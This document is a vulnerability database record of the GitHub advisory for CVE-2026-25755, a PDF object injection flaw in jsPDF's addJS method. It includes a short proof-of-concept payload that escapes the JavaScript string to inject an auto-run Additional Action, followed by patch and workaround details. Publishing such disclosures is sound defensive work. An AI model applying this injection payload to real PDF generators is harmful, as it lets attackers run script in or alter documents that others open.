{"id":"GHSA-9vjf-qc39-jprp","revision":"dadb9cdf5e0d41b19ddae5e94cb24b62","records":[{"revision":"dadb9cdf5e0d41b19ddae5e94cb24b62","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"GHSA-9vjf-qc39-jprp","aliases":["CVE-2026-25755"],"title":"jsPDF has a PDF Object Injection via Unsanitized Input in addJS Method","description":"### Impact\n\nUser control of the argument of the `addJS` method allows an attacker to inject arbitrary PDF objects into the generated document. By crafting a payload that escapes the JavaScript string delimiter, an attacker can execute malicious actions or alter the document structure, impacting any user who opens the generated PDF.\n\n```js\nimport { jsPDF } from \"jspdf\";\nconst doc = new jsPDF();\n// Payload:\n// 1. ) closes the JS string.\n// 2. > closes the current dictionary.\n// 3. /AA ... injects an \"Additional Action\" that executes on focus/open.\nconst maliciousPayload = \"console.log('test');) >> /AA << /O << /S /JavaScript /JS (app.alert('Hacked!')) >> >>\";\n\ndoc.addJS(maliciousPayload);\ndoc.save(\"vulnerable.pdf\");\n```\n\n### Patches\nThe vulnerability has been fixed in jspdf@4.2.0.\n\n### Workarounds\nEscape parentheses in user-provided JavaScript code before passing them to the `addJS` method.\n### References\nhttps://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md","state":0,"publishedAt":"2026-02-19T19:32:36+00:00","modifiedAt":"2026-09-10T03:50:59.366093+00:00","affected":[{"ecosystem":"npm","name":"jspdf","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"4.2.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/parallax/jsPDF/security/advisories/GHSA-9vjf-qc39-jprp","https://nvd.nist.gov/vuln/detail/CVE-2026-25755","https://github.com/parallax/jsPDF/commit/56b46d45b052346f5995b005a34af5dcdddd5437","https://github.com/ZeroXJacks/CVEs/blob/main/2026/CVE-2026-25755.md","https://github.com/parallax/jsPDF","https://github.com/parallax/jsPDF/releases/tag/v4.2.0"],"sourceUrl":"https://github.com/advisories/GHSA-9vjf-qc39-jprp","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-9vjf-qc39-jprp","identifiers":["GHSA-9vjf-qc39-jprp","CVE-2026-25755"]},"retained":false,"historicalAffected":[]}],"coverage":[]}